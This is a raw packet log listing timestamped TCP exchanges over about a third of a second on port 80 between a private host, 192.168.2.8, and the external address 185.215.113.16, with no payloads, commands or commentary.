Dec 16, 2024 13:16:30.287410021 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.287559986 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.287605047 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.288254023 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.288305044 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.395695925 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.395869970 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.395880938 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.395920992 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.396176100 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.396215916 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.396358967 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.396398067 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.397326946 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.397372007 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.397439957 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.397476912 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.398423910 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.398467064 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.398510933 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.398545980 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.399524927 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.399570942 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.399684906 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.399723053 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.400629997 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.400671005 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.400706053 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.400747061 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.401673079 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.401721954 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.402054071 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.402096987 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.402745962 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.402786016 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.403161049 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.403196096 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.403817892 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.403867960 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.403955936 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.403996944 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.404803991 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.404855013 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.404870033 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.404928923 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.405862093 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.405913115 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.405936956 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.405973911 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.406853914 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.406900883 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.406965017 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.407006979 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.407866001 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.407905102 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.407923937 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.407960892 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.408878088 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.408921003 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.408991098 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.409025908 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.409817934 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.409864902 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.409931898 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.409971952 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.410785913 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.410825968 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.410895109 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.410933971 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.411787033 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.411832094 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.411887884 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.411921978 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.413000107 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.413064003 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.413069010 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.413105965 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.413837910 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.413881063 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.414028883 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.414067030 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.414674997 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.414719105 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.414756060 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.414794922 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.415651083 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.415699959 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.415735006 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.415872097 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.416584969 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.416627884 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.416688919 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.416737080 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.417572975 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.417623997 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.417629957 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.417670965 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.418565989 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.418625116 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.418658972 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.418680906 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.419540882 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.419586897 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.419624090 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.419663906 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.420510054 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.420562029 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.420598030 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.420636892 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.421467066 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.421509981 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.421572924 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.421606064 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.422384024 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.422434092 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.422451973 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.422492027 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.423336983 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.423377037 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.423504114 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.423544884 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.424341917 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.424385071 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.424448013 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.424485922 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.425309896 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.425359964 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.425430059 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.425468922 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.426255941 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.426292896 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.426353931 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.426388979 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.427330017 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.427378893 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.427500963 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.427539110 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.428203106 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.428248882 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.428312063 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.428352118 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.429167986 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.429214001 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.429330111 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.429379940 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.430157900 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.430207968 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.430238962 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.430277109 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.431081057 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.431127071 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.431180954 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.431214094 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.432174921 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.432214975 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.432223082 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.432256937 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.433027029 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.433069944 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.433070898 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.433098078 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.434058905 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.434078932 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.434113979 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.434130907 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.434947014 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.434989929 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.435039043 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.435080051 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.435996056 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.436026096 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.436043024 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.436062098 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.436909914 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.436956882 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.436997890 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.437031984 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.437841892 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.437884092 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.438072920 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.438108921 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.438783884 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.438831091 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.438889980 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.438932896 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.439801931 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.439861059 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.439898014 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.439941883 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.440711975 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.440751076 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.440879107 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.440921068 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.441745043 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.441796064 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.441973925 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.442018032 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.442670107 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.442718983 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.442770004 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.442817926 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.443610907 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.443682909 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.443748951 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.443789959 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.444669962 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.444710970 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.444798946 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.444838047 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.445559978 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.445602894 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.445673943 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.445719957 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.446538925 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.446584940 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.446717978 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.446758032 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.447539091 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.447578907 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.587907076 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.587963104 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.588006973 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.588046074 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.588329077 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.588368893 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.588427067 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.588463068 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.589245081 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.589282990 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.589442015 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.589483023 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.590392113 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.590434074 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.590512037 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.590545893 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.591213942 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.591254950 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.591368914 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.591408014 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.592184067 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.592222929 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.592377901 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.592417955 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.593107939 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.593147039 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.593208075 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.593246937 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.594129086 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.594166994 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.594295025 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.594340086 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.595078945 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.595129013 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.595189095 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.595227003 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.596028090 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.596065998 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.596148968 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.596189976 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.597101927 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.597143888 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.597166061 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.597204924 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.597975969 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.598014116 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.598052979 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.598089933 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.598929882 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.598967075 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.599118948 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.599165916 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.599895000 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.599936962 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.600044966 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.600085974 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.600862026 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.600898981 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.601102114 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.601144075 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.601815939 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.601859093 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.602039099 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.602082014 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.602933884 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.602977037 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.603127003 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.603164911 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.603985071 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.604023933 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.604054928 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.604094982 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.604926109 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.604965925 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.604990005 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.605022907 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.605710983 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.605757952 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.605782986 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.605822086 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.606611013 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.606650114 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.606729984 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.606764078 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.607809067 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.607842922 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.607917070 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.607954025 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.608583927 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.608620882 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.608675003 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.608711958 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.609571934 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.609612942 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.609697104 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.609739065 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.610542059 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.610580921 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.610696077 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.610737085 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.611577034 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.611620903 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.611726999 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.611774921 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.612447023 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.612485886 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.612555981 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.612591028 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.613404989 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.613451958 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.613513947 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.613549948 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.614409924 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.614447117 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.614497900 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.614536047 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.615334988 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.615377903 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.615487099 CET	80	49746	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:30.615525961 CET	49746	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:30.616302013 CET	80	49746	185.215.113.16	192.168.2.8
